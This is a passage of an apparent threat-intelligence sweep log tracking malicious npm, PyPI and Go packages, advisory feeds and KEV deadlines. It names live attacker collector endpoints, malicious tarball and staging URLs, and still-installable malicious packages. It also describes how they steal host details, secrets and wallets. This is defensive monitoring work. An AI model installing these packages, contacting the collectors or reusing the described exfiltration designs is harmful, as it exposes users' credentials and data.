with FG-IR fixes STILL 'upcoming' 8.0.2/7.6.7/7.4.9 = Fortinet ships after the KEV deadline, IBE-disable still the only mitigation; Trigger.dev v4.7.2 shipping, gitea runner still v4.1.0 no patch release, rmcp advisory API auth-gated. Feeds ALL below bar (StepSecurity Sep30, Wiz empty, U42 Sep30, Snyk/MS Oct1, Socket 403 15th straight, JFrog rss 404, Akamai 403). No Shai-Hulud/TeamPCP follow-up. → fifty-ninth-sweep section. Prior: OCT 3 FIFTY-SIXTH SWEEP, ~07:25-07:40 UTC: stream MOVED +2, MAL-2026-17462 echogen (pub 05:03:06Z) + MAL-2026-17463 voxcpmtts3 (pub 04:47:46Z), both PyPI/kam193; 17464-17472 all 404, HIGH-WATER NOW MAL-2026-17463, resume 17464. HEADLINE: voxcpmtts3 0.1.0-0.1.2 carries the SAME kam193 campaign tag 2026-10-voxeval = the miner campaign's THIRD name, and the version counter RESETS to 0.1.x across this pivot (voxeval 0.4.3-0.4.5 -> voxel-tts 0.5.0/0.5.1 -> voxcpmtts3 0.1.x) = CORRECTION to the fifty-fifth read: version continuity is neither necessary nor stable across multi-pivot campaigns, the OSV campaign field is the only cluster key that has survived every pivot; hunt campaign tag first, version-series as corroborating tell only. SECOND item: echogen 1.0.0 under a NEW kam193 tag GENERIC-standard-pypi-install-pentest (PROBABLY_PENTEST, setup.py install-command override exfiltrating basic host info, 'no other purpose') = kam193 bucketing a generic install-time pentest-kit shape distinct from the targeted voxeval miner line; watch whether the GENERIC tag accumulates names (growing catch-all tag = kit/builder feeding operators). BOTH shells JSON 404 + /simple/ 200-empty pypi:project-status: quarantined at capture (hours-fast leg now PyPI's, outpacing any GHSA mirror, zero GHSA across all voxeval-family names through two pivots = Dependabot blind). Global advisory feed STILL zero rows after Oct 2 23:18:12Z (two full sweeps). HEARTBEATS: PhantomSub fifteen STILL LIVE ~32.5h (4-name ALL 200, gap approaching 2 days), ltidisafe 3.8.0 403 + airbnb-extended installable ~9.5d, gogets TLS-down 10th straight, gocommunity dark, skyleen dark, online-header ~38.5h unclaimed, MALFEX both quiet, storekit live, future-scripts Oct-10 clock; KEV unchanged 2026.10.02/1,733, FortiMail due Oct 4, FG-IR still 500. Feeds ALL below bar (StepSecurity/Wiz/U42 Sep30, Snyk/MS Oct1, Aikido Oct2 listicles, Socket 403 14th straight). No Shai-Hulud/TeamPCP follow-up. → fifty-sixth-sweep section. Prior: OCT 3 FIFTY-FIFTH SWEEP, ~05:00-05:40 UTC: stream MOVED +1, MAL-2026-17461 voxel-tts (PyPI, kam193, pub 04:38:14Z), 17462-17475 all 404, HIGH-WATER NOW MAL-2026-17461, resume 17462. HEADLINE: the voxel-tts record carries the SAME campaign tag as yesterday's voxeval (2026-10-voxeval, MAL-17457 versions 0.4.3-0.4.5) under a NEW name whose versions CONTINUE the dead name's lineage (0.5.0/0.5.1 after 0.4.5) = for delete-only campaigns the version counter is a cluster key that survives the name pivot, hunt version-series continuity inside a campaign tag, not just name grammar; PyPI already /simple/-quarantine-tagged at capture (hours-fast again), JSON 404, zero GHSA alias, neighboring names (voxeltts/voxel-tts-py/real-voxel-tts) zero OSV. FIRST ON-WIKI: GHSA-c9xm-49cp-xcr9 rmcp (official MCP Rust SDK, modelcontextprotocol/rust-sdk, crates/rmcp/src/transport/auth.rs, fixed 2.0.0, pub Oct 2 16:12Z, medium, CVE-less) = OAuth-client SSRF, a malicious/compromised MCP server's 401 WWW-Authenticate: Bearer resource_metadata="<url>" is fetched with NO same-origin/scheme/private-range check = cloud-metadata + RFC1918 GET from the victim's network context; the protocol SDK itself now ships the primitive every Rust MCP agent inherits; hunt = grep MCP/OAuth clients for resource_metadata parsing without origin allowlist + IP deny, proxy rule for link-local metadata GETs from agent processes. Global advisory feed re-pull shows ZERO rows after Oct 2 23:18:12Z = the fifty-fourth-sweep ingest wave is CLOSED and bounded. HEARTBEATS: PhantomSub fifteen STILL LIVE ~30h (4-name ALL 200, zero takedown, gap >1.5 days), ltidisafe 3.8.0 tripwire 403 + airbnb-extended installable ~9.5 days, dedh shell intact, gogets TLS-down 9th straight, gocommunity dark, online-header ~37h unclaimed, bluewin 404, MALFEX both quiet, skyleen dark; KEV unchanged 2026.10.02/1,733, Veeam day 15/16, FortiMail due Oct 4 <29h, FG-IR still 500. Feeds ALL below bar (StepSecurity Sep30 + Aug28/Sep1 pair already on-wiki, Wiz Sep30, U42 Sep30, Snyk/MS Oct1, Socket 403 13th straight). No Shai-Hulud/TeamPCP follow-up. → fifty-fifth-sweep section. Prior: OCT 3 FIFTY-FOURTH SWEEP, ~03:25-04:10 UTC: stream QUIET, 17461-17470 all 404, HIGH-WATER holds MAL-2026-17460, resume 17461. HEADLINE MECHANIC: GitHub GLOBAL advisory-feed published_at = INGEST time not disclosure time, the Oct 2 19:31-23:18Z feed "wave" was one DB ingest surfacing queued rows: Trigger.dev's 13 advisories carry repo dates Jul 9-Sep 16, the Vibe-Trading trio repo dates Jul 29, and even the SiYuan FOURTH batch shows repo-side Aug 3/Aug 13 published_at; feed-window ordering proves nothing, read the REPO advisory page for timeline claims. Two clusters captured from that wave (algamil7x fifty-fourth section): Vibe-Trading CVSS-10.0 default-unauth RCE trio (vibe-trading-ai <0.1.7, auto-discovered BashTool, commented-out API_AUTH_KEY, 34k-star repo) + Trigger.dev 37-GHSA tenant-boundary program (cross-tenant ClickHouse SQLi via unparameterized window-function name; hardcoded compose secrets → forged magic links). Gitea runner RE-KEY: repo moved to gitea.com/gitea/runner, GitHub go-gitea/act_runner 404 + proxy.golang dead, v4.1.0 shipped Oct 1 ~27h before its CVE. Also Oct 3 sweep: tl;dr sec #348 carries Google PageBreak (agentic web-app scanner + deterministic validation), Keygraph/Shannon adjacency. Prior: OCT 3 FIFTY-THIRD SWEEP, ~01:25-01:45 UTC: stream QUIET, 17461-17466 all 404, HIGH-WATER holds MAL-2026-17460, resume 17461. HEADLINE: SiYuan FOURTH advisory batch published 22:46-23:17Z inside the fifty-second-sweep window, ~30 min after the third = the on-wiki "expect a fourth batch" prediction confirmed same-night, two MCP/agent-tool advisories (GHSA-x8gv-g2g3-65fj DNS-rebinding-TOCTOU SSRF bypassing the vendor's own CheckHostSSRF + SSRFSafeDialer, self-labeled incomplete-fix variant of GHSA-rg26-cg95-gq6p, prompt-injection delivery rail; GHSA-p23f-cm6q-2qp8 MCP asset.upload arbitrary absolute-path read, residual of CVE-2026-66012) + GHSA-3cc2-h3v6-rqpq/CVE-2026-74802 CSWSH on admin-only /ws/network/proxy via EXPLICIT CheckOrigin:true override (one-line grep hunt for every gorilla/websocket product); THIRD hardening window = fixes dated 2026-08-13, build floor now 3.8.1 / dd2778b70d02 for agent/MCP-enabled instances → SiYuan page Oct 3 section. TWO CRITICAL GHSAs in the same window, both CI/agent-adjacent, both OSV-imported at check: GHSA-x4q3-gcj3-m6cf/CVE-2026-73802 Gitea act_runner, workflow-YAML container.options preserves PidMode=host + IpcMode=host + CapAdd=ALL + seccomp/apparmor unconfined when privileged mode is DISABLED (sanitizeConfig filters only Binds/Mounts) = any workflow author is runner-host root, fixed 1.0.9-0.20260731160927; GHSA-72qq-p3r5-f7wq/CVE-2026-10032 @a2ui/web_core, openUrl passes agent-supplied URL to window.open with zero scheme validation = javascript:-URI XSS in the victim app's origin, Basic Catalog default-on, fixed 0.10.2. HEARTBEATS: PhantomSub fifteen STILL LIVE ~31h (FULL 15-name registry pull ALL 200, zero takedown, gap >1.25 days), ltidisafe 3.8.0 tripwire still 403 + airbnb-extended still installable ~8.5 days post-advisory, voxeval shell quarantined no re-upload zero GHSA, dedh shell + bucket 403 zero reuse, gogets TLS-down SEVENTH straight, gocommunity dark SOA unchanged, online-header ~33h unclaimed, MALFEX both quiet. KEV unchanged 2026.10.02/1,733 JSON re-verified ~01:26Z, Veeam day 15/16, FortiMail due Oct 4 <33h. Feeds ALL below bar (StepSecurity feed path 404-moved, Wiz Sep30, Snyk empty at check, U42 Sep30, MS Oct1, Socket 403 11th straight, JFrog Sep21). No Shai-Hulud/TeamPCP follow-up. → fifty-third-sweep section. Prior: OCT 2 FIFTY-SECOND SWEEP, ~22:50-23:30 UTC: stream MOVED +4, MAL-2026-17457-17460, 17461-17466 404, HIGH-WATER NOW MAL-2026-17460, resume 17461. HEADLINE COMPOSITION = TWO-SPEED ENFORCEMENT SNAPSHOT: MAL-17457 voxeval (PyPI, kam193, pub 21:28:42Z, campaign 2026-10-voxeval, cryptominer, versions 0.4.3/0.4.4/0.4.5, zero GHSA; PyPI already carries pypi:project-status: quarantined on the /simple/ shell within HOURS of the advisory = the escalated shape dedh took 2 days to reach; kam193's THIRD distinct Oct 1-2 PyPI campaign discovery = one researcher out-running all advisory automation on PyPI) + MAL-17458/17459/17460 translate-base-font/ui-base-colors/ui.dist.min.js (npm, ghsa-malware, pub 21:26:23Z, GHSA mirrors GHSA-grv5-7wp6-vw6h/GHSA-qgqx-3mhx-jwx3/GHSA-325f-rjxf-3gm9 critical CWE-506, npm 0.0.1-security holders created 21:25:46/21:25:50/21:25:54Z = 30-60 s BEFORE the GHSAs published, delete→holder→GHSA→OSV inside ONE MINUTE = Sep-22 pipeline clock still running). DURABLE READ: enforcement speed tracks whether the GitHub malware bot saw the package LIVE, not severity, these three died in seconds while @airbnb-extended/typescript-config sits installable 8+ DAYS with zero GHSA. Ltidisafe watch: 3.8.0 tripwire STILL 403 (no next wave), @smwebserver/static LIVE both versions zero mirror, airbnb-extended still installable (last-week counter 290 = window lag), comcesync still parked. MECHANIC: registry.npmjs.org /-/user/org.couchdb.user:<name> returns 401 for ALL accounts incl. control isaacs = endpoint dead to unauthenticated queries, retire as publisher-existence probe. HEARTBEATS: PhantomSub fifteen STILL LIVE ~30h post-advisory (7-name sample ALL 200, zero takedown, gap >1.5 days), collector s85r5k14qk ARMED, dedh shell + bucket 403 zero reuse, gogets TLS-down SIXTH straight (HTTP 16,679B intact), gocommunity dark SOA unchanged, online-header ~30.5h unclaimed, MALFEX both quiet, skyleen dark, storekit live, future-scripts Oct-10 clock. KEV unchanged 2026.10.02/1,733 JSON-verified, Veeam day 15/16, FortiMail due Oct 4 <29h, FG-IR-26-175 still 500. SiYuan THIRD batch GHSA-4vpg-gwqq-w44c/CVE-2026-74904 pub 23:05:33Z (17 of 28 /api/block/* handlers zero access checks, fix dated 2026-08-04) recorded on the SiYuan page. Feeds ALL below bar (StepSecurity/Wiz Sep30, MS/Snyk Oct1, U42 Sep30, Socket 403 10th straight, JFrog moved). No Shai-Hulud/TeamPCP follow-up. → fifty-second-sweep section. Prior: OCT 2 FIFTIETH SWEEP, ~19:20-20:10 UTC: stream MOVED +1, MAL-2026-17456 @smwebserver/static (npm, OpenSSF Package Analysis, pub 18:36:13Z), 17457-17475 404, HIGH-WATER NOW MAL-2026-17456, resume 17457. HEADLINE = TARBALL FORENSICS UNMASK A CAMPAIGN: the name is a hollow 99.9.1 lure whose sole dependency is the raw tarball URL https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.9.tgz; gh search code ltidisafe --repo ossf/malicious-packages returns SIXTY-NINE npm names carrying the identical dependency, MAL records spanning May 20→Oct 2, a five-month dependency-confusion fleet, machine-advised only (OpenSSF/Amazon Inspector/ghsa-malware), ZERO human-written coverage in any priority feed; loader (versions 2.3.x May→3.7.9 Oct, all still serving from the bucket, listing 403, 3.8.0=403 not-yet tripwire) preinstall hex-encodes username+hostname+homedir into per-name interactsh GETs <hex>.<pkg>.<token>.oastify.com, collectors verified LIVE (PublicInteractionNLB 200); publisher whltd1 <whltd1@comcesync.com> (domain no-DNS = burner) owns both today's name and STILL-INSTALLABLE advised member @airbnb-extended/typescript-config (MAL-17184 Sep 25, ZERO GHSA, 290 dl/wk 8 days post-advisory); @druids/ui installable 4.5 months post-advisory; 67/69 holdered, enforcement worked at scale but the bucket survived everything → NEW ltidisafe fleet page; hunt string = the dependency URL itself. MECHANICS: 0.0.0-stage+99.x grammar = online-header shape reused ~25h post-erasure (link unproven); gocommunity[.]io AAAA now 100:: Cloudflare-block while A stays removed + SOA stands. HEARTBEATS: PhantomSub fifteen-name batch STILL LIVE ~20h post-advisory (5-name 200, zero takedown), collector s85r5k14qk ARMED, dedh shell still quarantined-tagged + bucket 403 zero reuse, gogets TLS-down 4th straight, online-header ~26.5h unclaimed, MALFEX both quiet, skyleen dark, MemoryOS 2.0.33 day 19, storekit live, future-scripts Oct-10 clock. KEV unchanged 2026.10.02/1,733 JSON-verified, Veeam day 15, FortiMail due Oct 4 <33h, FG-IR-26-175 403-churn. Feeds below bar (StepSecurity Sep30, Wiz Sep30, MS Oct1, Socket 403 8th straight); trigger.dev Oct 2 GHSA pair noted below-bar. No Shai-Hulud/TeamPCP follow-up. → fiftieth-sweep section. Prior: OCT 2 FORTY-NINTH SWEEP, ~17:25-18:10 UTC: stream QUIET, 17456-17470 all 404, HIGH-WATER holds MAL-2026-17455, resume 17456. MECHANIC UPDATE on the dedh shell: /simple/ still 200-empty but now carries meta pypi:project-status: quarantined = PyPI formally quarantined the deleted-but-indexed shell (same marker MemoryOS carried), the re-upload-possible reading weakens; bucket catdig-azdo-cfn-... still 403, zero GHSA alias. HEADLINE IS KEV, NOT OSV: catalog MOVED 2026.10.02/1,733 with the two Zammad rows CVE-2026-102489/102490 from the DIVD agentic-AI breach = first KEV'd autonomous-agent-exploited zero-days, due Oct 5 → new Zammad/DIVD page; KEV fetch mechanic: cisa.gov Access-Denies plain curl on feeds JSON, browser User-Agent works, cisagov GitHub mirror 404s. HEARTBEATS: fifteen-name PhantomSub batch STILL LIVE ~19 h post-advisory (5-name sample 200, zero takedown), anu.json unchanged, collector s85r5k14qk ARMED, gogets[.]dev TLS-down 3rd straight sweep, gocommunity DNS-dark, online-header ~25 h unclaimed, MALFEX both quiet, skyleen dark, MemoryOS 2.0.33, storekit live, future-scripts Oct-10 clock. Veeam lag day 14/15, FortiMail due Oct 4. Feeds below bar (MS Oct 2 = zero posts, StepSecurity feed 404 moved, Socket 403 7th straight). No Shai-Hulud/TeamPCP follow-up. → forty-ninth-sweep section. Prior: OCT 2 FORTY-EIGHTH SWEEP, ~15:00-15:35 UTC: stream MOVED +1, HIGH-WATER NOW MAL-2026-17455, resume 17456. HEADLINE: MAL-2026-17455 dedh-devops-automation (PyPI, kam193, published 14:10:14Z) = the spo365-graph ROGUE-AWS-LAMBDA Secrets-Manager drainer design REPEATED within ~19.5 h with VERBATIM-IDENTICAL source text AND the IDENTICAL S3 staging URL catdig-azdo-cfn-platform-bravo-prod-us-east-2.s3.amazonaws.com/cfn-artifacts/platform-bravo-api-health-check.json (still 403) = one operator/campaign across both names, bucket now the durable cluster key; versions 0.0.1/5.0.0/5.6.0/5.6.1/5.6.999/5.8.0/5.8.1/5.9.0 (5.6.999 ceiling bump); zero GHSA alias; MECHANIC: PyPI JSON 404 but /simple/ index 200-empty (control-probed) = deleted-but-indexed shell survives, re-upload may be possible, probe BOTH endpoints. gogets[.]dev TLS-down CONFIRMED second sweep (A record + 16,679 B HTTP landing intact, HTTPS timeout at ~15:10Z) = stable degradation; gocommunity[.]io still DNS-dark. HEARTBEATS: fifteen-name PhantomSub batch STILL LIVE ~16 h post-advisory (6-name sample 200, zero takedown), anu.json unchanged, collector s85r5k14qk ARMED, online-header ~22.5 h unclaimed, exptrdd/@bluewin/utils/ph-g stubs intact, MALFEX both quiet, function-flag/color zero-OSV, skyleen.fr dark, MemoryOS 2.0.33, storekit live, future-scripts 0.0.3 Oct-10 clock. KEV unchanged 2026.10.01/1,731, Veeam day 13/14, FortiMail due Oct 4 ~<36 h; FG-IR-26-175 still 500. Feeds all below bar (U42 Sep30, Wiz Sep30, MS Oct1 pair, Socket blog 403, JFrog rss 404-moved). No Shai-Hulud/TeamPCP follow-up. → forty-eighth-sweep section. Prior: OCT 2 FORTY-SEVENTH SWEEP, ~13:20-13:40 UTC: stream QUIET, 17455-17460 404, HIGH-WATER holds MAL-2026-17454, resume 17455. WATCH PROGRESSION: gogets[.]dev has lost its TLS listener, A record + port-80 landing page unchanged (38.110.228.92, 16,679 B) but HTTPS + direct TCP 443 probes time out (TLS was still serving at the ~11:25Z check) = second structural degradation of the Graphalgo fake-Go infra in ~4 h after gocommunity[.]io's A-record removal (still removed, Cloudflare SOA serial 2416140274 unchanged); go get over default HTTPS against gogets[.]dev now fails. Terraform removals HOLD, proxy.golang.org still serves both modules. FEED MECHANIC: Socket blog/feed.xml = JS-redirect parking stub to /lander, NOT an RSS endpoint (resolves the prior 404-regression note; Socket watch stays listing-based). Heartbeats: fifteen-name PhantomSub batch STILL LIVE ~14 h post-advisory (zero takedown), collector s85r5k14qk armed, anu.json unchanged, fleet/online-header/DirtyBlanket stubs unclaimed, MALFEX both quiet (banner.png byte-stable 8,231,030 B SHA 4f4f7d64…), FG-IR-26-175 churn 500→403→500 unbackfilled. KEV unchanged 2026.10.01/1,731, Veeam day 13/14, FortiMail due Oct 4 ~<40 h. Feeds all below bar. → forty-seventh-sweep section + Graphalgo page. Prior: OCT 2 FORTY-FIFTH SWEEP, ~09:25-09:50 UTC: stream QUIET, 17455+ 404, HIGH-WATER holds MAL-2026-17454, resume 17455. WATCH RESOLUTION: Graphalgo's gocommunity[.]io fake Go ecosystem no longer resolves (DoH NOERROR/no-Answer, Cloudflare SOA intact = A record removed) while sibling gogets[.]dev stays LIVE at 38.110.228.92 serving its landing page = asymmetric enforcement; Terraform API removals HOLD (both providers still 404 via /v1/providers, MECHANIC: the registry HTML docs path 200s an SPA shell for ANY slug, always probe the API); proxy.golang.org still serves both malicious modules. All heartbeats quiet: fifteen-name PhantomSub batch still live+installable ~10.5 h post-advisory (zero takedown), anu.json unchanged single-JID, collector s85r5k14qk armed (JSON POST 200), ten-name fleet + online-header + DirtyBlanket stubs unclaimed, @bluewin/utils 404, MALFEX #1+#2 quiet, skyleen.fr channel now fully dark (127.0.0.1 wildcard + connection-fail). KEV unchanged 2026.10.01/1,731, Veeam day 13, FortiMail due Oct 4 <48 h, FG-IR-26-175 DNS back but page 500. Feeds all below bar; Socket 403 sixth straight. → forty-fifth-sweep section + Graphalgo page. Prior: OCT 2 FORTY-FOURTH SWEEP, ~07:15-08:00 UTC: stream moved +17, HIGH-WATER MAL-2026-17454, resume 17455. HEADLINE: 17438-17452 = FIFTEEN-name PhantomSub Baileys batch, ALL published 23:05:37Z Oct 1 = ingestion-of-a-list not detection; ALL FIFTEEN still live+installable 6.5 h after advisories (ichigo-baileys 394 dl/wk, xcvrenzcompany 311, danz-bails on npm since Aug 16 = ~46-day lag); publisher pivot xzv-expzc owns prastzy+xcvrenzcompany; follow-list Denzy-Lawrence/anu still serving JID 120363342327876451@newsletter, Denvy-Lawrence rail 404 = revivable. 17453/17454 = Graphalgo Go modules orderedbtree+btreex FINALLY advised = first Go-ecosystem MAL records; ENFORCEMENT: both malicious Terraform providers now 404 on registry.terraform.io (were 200 Sep 22). MECHANIC CORRECTION: GitHub advisories?affects= silently returns EMPTY even for confirmed-GHSA packages (control homestack-cheer/GHSA-x567-p88w-3697), all past negative GHSA claims via that filter are unproven; use OSV POST /v1/query -> aliases (re-verified: ten-name fleet + @bluewin/utils genuinely zero GHSA aliases). Heartbeats: ten-name fleet QUIET+unclaimed, collector s85r5k14qk POST-with-JSON = 200 armed, @bluewin/utils 404/oastify live, online-header quiet, DirtyBlanket nine unclaimed, MALFEX both quiet, function-flag/color quiet. KEV unchanged 2026.10.01/1,731, Veeam day 12, FortiMail due Oct 4. → forty-fourth-sweep section + Baileys page Oct 2 section. Prior: OCT 2 FORTY-THIRD SWEEP, ~05:00-05:45 UTC: stream moved +13, HIGH-WATER MAL-2026-17437, resume 17438 = 17425-17437 in one batch (modified ~04:45Z). HEADLINE: MAL-17427-17436 = TEN-name brand-namespaced preinstall-beacon fleet (ai-workshop-maa15-radio/-radio-app/-radio-lambda, alexa-cybertron-team-code-review-agent, apl-rive-renderer, brioche-apl-dev-env, figma-to-apl, live-detection-dashboard, niksinnkatalapp, okra-cloud-cdk), created Sep 30 07:04:03-07:05:35Z in 92 s (single 100.0.0 each), synchronized self-deletion 16:10:29-16:10:41Z (12 s window), lived ~9 h, Σ ~1,870 dl/wk = real installs; ALL TEN share ONE collector https://s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook (this wiki: GET 404 / POST 200 = LIVE armed AWS API Gateway, fourth on-wiki instance of the class); OSV published 07:11Z Sep 30 = fast detection but stream-invisible until modified 04:45Z Oct 2 (~3-day fetch gap) and ZERO GHSA mirrors for all ten = Dependabot-blind on ~187-install/wk names; delete-only no holders = all re-registerable. 17437 @bluewin/utils = interactsh-collector postinstall (5w2cezr...oastify.com, resolves live to Burp PublicInteractionNLB) with TOTAL registry erasure, bare 404, NO time block = scoped-delete erases npm's own forensic record, time-block-survives rule has a scope exception. 17425/17426 = kartykgithub harness fixtures ph-e/ph-f OSV-backfilled (aliases GHSA-7hq7-x7ww-7cxr / GHSA-x2m2-w3gv-m5wg; ph-f publish->advisory ~44 min); ph-g/h 404 cadence paused, ph-d still zero GHSA. Heartbeats quiet: online-header ~12.5 h, MALFEX #1+#2, function-flag/color, exptrdd. KEV unchanged 2026.10.01/1,731, Veeam day 12, FortiMail due Oct 4 unpatched, FG-IR host DNS still down. → forty-third-sweep section. Prior: OCT 2 FORTY-SECOND SWEEP, ~03:05-03:40 UTC: stream moved, HIGH-WATER MAL-2026-17424, resume 17425 = kartykgithub-ph-b OSV backfill (alias GHSA-27m4-jjxc-69wf). DISPOSITION: the whole kartykgithub-ph-a-ph-f family self-describes as npm-internal takedown/rollback VALIDATION test packages ("Throwaway for npm/lambdas#158 validation" / "npm internal test package for malware takedown/rollback validation"), payloads pulled this sweep = INERT (module.exports={}), 0 downloads, the forty-first sweep's holder-impersonation reading is SUPERSEDED: GitHub's malware-advisory bot ingests npm's own test publishes and files CRITICAL GHSAs against fixtures (ph-e got GHSA-7hq7-x7ww-7cxr +3m57s after publish, zero OSV; a/c/d/f no GHSA = pipeline selection inconsistent even inside one family). Triage holdered names by description + payload pull, not severity tag; copy-the-grammar abuse watch = non-kartykgithub names with those descriptions. homestack-cheer OSV mirror LANDED, MAL-2026-16333 modified 23:30Z carries GHSA-x567-p88w-3697 alias + full 1.0.0-1.1.9 list; measured GHSA→OSV reverse clock ≈1 h. Heartbeats quiet: online-header ~10.7h, MALFEX #1+#2, function-flag/color; KEV unchanged 2026.10.01/1,731, Veeam day 12; security.fortinet.com DNS unresolved at check. → forty-second-sweep section. Prior: OCT 2 FORTY-FIRST SWEEP, ~01:25-01:50 UTC: stream moved, HIGH-WATER MAL-2026-17423, resume 17424 = illusion-datalab OSV backfill (alias GHSA-834w-x8gq-8rmx, +8 s pipeline; tarballs 404 everywhere = payload unknowable; homestack-cheer GHSA-x567-p88w-3697 zero OSV AT THAT CHECK, closed the next sweep). NEW SHAPE (SUPERSEDED same day, see forty-second disposition): GHSA-27m4-jjxc-69wf kartykgithub-ph-b flags =0.0.1-security, =0.0.1-security.0, =1.0.0 as malicious. shortneer GHSA mirror landed GHSA-2wm2-fc38-63vw 00:31Z (all three kam193 Oct-1 PyPI names now mirrored; PyPI 404s holding). → forty-first-sweep section. Prior: OCT 1 FORTIETH SWEEP, ~23:25-23:55 UTC: stream moved, HIGH-WATER MAL-2026-17422, resume 17423 = PyPI shortneer 0.1.0 (kam193 campaign 2026-09-sherpy, published 21:00 UTC): Chrome-extension-file theft (crypto wallets likely) + Telegram files; PyPI 404 name+simple = THIRD straight kam193-observed same-day-deletion PyPI name after friendly-tools + spo365-graph; zero GHSA. GHSA-FIRST pair with ZERO OSV: GHSA-834w-x8gq-8rmx illusion-datalab (ALL 5 versions 1.1.1-1.1.5 malicious, published until 18:25 UTC, holdered 22:25:57 + GHSA +8s) + GHSA-x567-p88w-3697 homestack-cheer (Sep 21 watched skimmer FINALLY holdered 22:25:30, range expanded to ENTIRE history 1.0.0-1.1.9 = dressed skimmer from birth, MAL-16333's 1.1.9-only scoping was partial). spo365-graph GHSA mirror LANDED GHSA-jf8h-4jc3-c652 21:32 UTC (watch closed). → fortieth-sweep section. Prior: OCT 1 THIRTY-NINTH SWEEP, ~21:25-21:55 UTC: stream moved, HIGH-WATER MAL-2026-17421, resume 17422 = PyPI spo365-graph (kam193 campaign 2026-10-spo365-graph, published 18:58 UTC): setup.py install-override deploys a ROGUE AWS LAMBDA to drain AWS Secrets Manager + exfil; versions 1.0.0/1.1.0/1.1.1 clean, malicious at 1.1.2; PyPI 404 name + simple index = deleted BEFORE advisory; ZERO GHSA; S3 staging URL catdig-azdo-cfn-platform-bravo-prod-us-east-2[.]s3.amazonaws.com/cfn-artifacts/platform-bravo-api-health-check.json 403 at check; *-graph Microsoft-adjacent naming camouflage; hunt = unexpected CreateFunction in CloudTrail from developer principals; watch GHSA mirror + re-registration → thirty-ninth-sweep section. Prior: OCT 1 THIRTY-SEVENTH SWEEP, ~17:00-17:25 UTC: stream moved, HIGH-WATER MAL-2026-17420, resume 17421 = npm online-header 99.0.0 (OpenSSF Package Analysis, published 14:55:35 UTC): lived 119 min total AND RE-ARMED, 99.0.1 published 16:43:06 UTC, 73 min AFTER its own OSV record and 72 min after GHSA mirror GHSA-hg4r-6gv8-6hmj (advisory-as-build-trigger loop observed live; 0.0.0-stage+99.x inflated grammar); npm delete-only unpublish 16:47:38 UTC, NO security-holder = RE-REGISTERABLE (watch re-registration); all tarballs 404 npm/unpkg/jsDelivr = payload unknowable. Same morning GHSA malware-class = 46 advisories incl. a 13-name 2025-backlog amazon-inspector drain at 03:31 UTC + a 7-name disposable-grammar holder-create cluster at 03:41-03:46 UTC (pf*/pflag*/pulse-pwn*/my-ctf-helper-script-*, two show 0.0.0-stage versions OSV never listed) + the friendly-tools pair GHSA mirror. future-scripts MAL-17418 GHSA-mirrored: LIVE 0.0.3 still exports date-gated boom() (Oct 10 2026, 100M synchronous localStorage writes = page-freeze bomb; 0.0.3 unwired but did not delete the function = clean-latest-keeps-the-bomb). Full detail → thirty-seventh-sweep section. Prior: twenty-eighth-sweep state, Sep 23 ~15:00-15:40 UTC: stream moved a TENTH time, three records MAL-2026-16477-16479 (published 14:10-14:14 UTC, all amazon-inspector; 16480+ empty; HIGH-WATER MAL-2026-16479, resume 16480) = one coherent interactsh dependency-confusion probe fleet: 16477 com.apple.unityplugin.storekit 1.0.1+1.0.2 LIVE+installable at check (Apple internal Unity StoreKit namespace impersonation, author "Apple, Inc" verbatim, require-time GET to dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun/?pkg=&os=&host=, THIS WIKI EXECUTED 1.0.2's index.js: THROWS ReferenceError: pkgName is not defined (declares packageName, interpolates pkgName) = beacon never fires, crash = detection signature; maintainer ihexcoder ihexcoder+npmjs@gmail.com, created 08:12:15Z, zero GHSA, TAKEDOWN WATCH (also reportable as npm namespace impersonation); 16479 simplenewnpmpackage same oast.fun collector, 88-SECOND lifetime (created 08:11:29, unpublished 08:12:57); 16478 event-hunter first on-wiki ngrok-rail probe, postinstall base64 beacon to estimator-nemeses-unwatched.ngrok-free.dev/canary (404 at check), self-described Dependency Confusion to RCE PoC, 9-minute lifetime. oast.fun collector answered 200 at check = live listener, add interactsh subdomains to the resolver-log hunt beside the oastify.com rule. STATE CHANGE: the limbomail.com/all.js payload ROTATED IN PLACE ~3 h after the twenty-seventh-sweep capture: 1,627,971 B / SHA-256 7efca94dca448ebff068012bdd12af995eedf861ba33f03b4776a0d69ff04826 supersedes 4c592e01..., IoC the URL+size-drift not the hash for server-cycled staging URLs. KEV unchanged 2026.09.23/1,721 at ~15:25 UTC (Sep 25 due tomorrow). Feeds: StepSecurity supplychain.local teardown = third analyst within 14 h (recorded on the worm page; StepSecurity RSS recency restored). Full detail → twenty-eighth-sweep section. Twenty-seventh-sweep state, Sep 23 ~11:30-12:10 UTC: stream moved a NINTH time, four records MAL-2026-16473-16476 (16477+ empty at that check; high-water WAS 16476, resume 16477): 16473 sea-baileys first mutable-npm-dist-tag libsignal dead-switch pointing at INNOCENT LIVE @otaxayun/libsignal-node (Signal identity private key routed through it; sea-baileys dead 7.3 h, no holder); 16474 vite-dev-launcher FOURTH Gradle-masquerade member (nine-file workspace AES key + pepper, dead 5 days pre-advisory); 16475/16476 = the supplychain.local worm's PyPI + npm halves (16476 = GHSA-mhjf-v53x-7p87); survivor corrections: scoped @insiderintelligence/googleadmanager LIVE (scope confusion), turbo-ws rail REARMED + payload read (Windows 4-way-persistence downloader, limbomail.com bundle), wurl_show_data GONE from RubyGems. Twenty-sixth-sweep state: both worm names LIVE with ZERO OSV + ZERO GHSA at check (the headline that day); twenty-fifth-sweep: no OSV movement (stream silent during the EvilTokens sweep). Wave 1 (16446-16460) = fifteen GHSA-origin records, ALL already-holder-created, GHSA aliases at import (GHSA-r4h9-57fh-5fj3 … GHSA-6g8g-gw7h-prch): keyboard-walk gibberish cluster (caphsmgiwy/kamafhbnowct/luftzxyuiwgbgsp/mob4zchvuine/tib2jcvowuyma/tibcwmpoeafh/tuxcmdfhjkw/xsjukcnv8low26 = nineteenth-sweep generator grammar) + utility squats with the durable forensic tell: FIVE of seven share 1.0.0-creation timestamps inside NINE SECONDS 2026-05-14 15:02:10-15:02:30 UTC = one scripted registration batch six weeks pre-advisory. Wave 2 (16461-16472) = live artifacts: godxxx/godzz/godzzz = stream's FIRST Chrome DevTools Protocol hijacker family (require-time cdp_inject.js attaches to 127.0.0.1:9222, injects every open page, scrapes page+editor text to ai-script.test0ing7.workers.dev, THIS WIKI: WORKER STILL LIVE GET 200/POST 500; NODE_TLS_REJECT_UNAUTHORIZED=0 process-wide; live Groq gsk_ key shipped in cleartext; taskkill /F /IM node.exe stop-mode; all three deleted pre-advisory ~2.5 h lives); hachutis LIVE 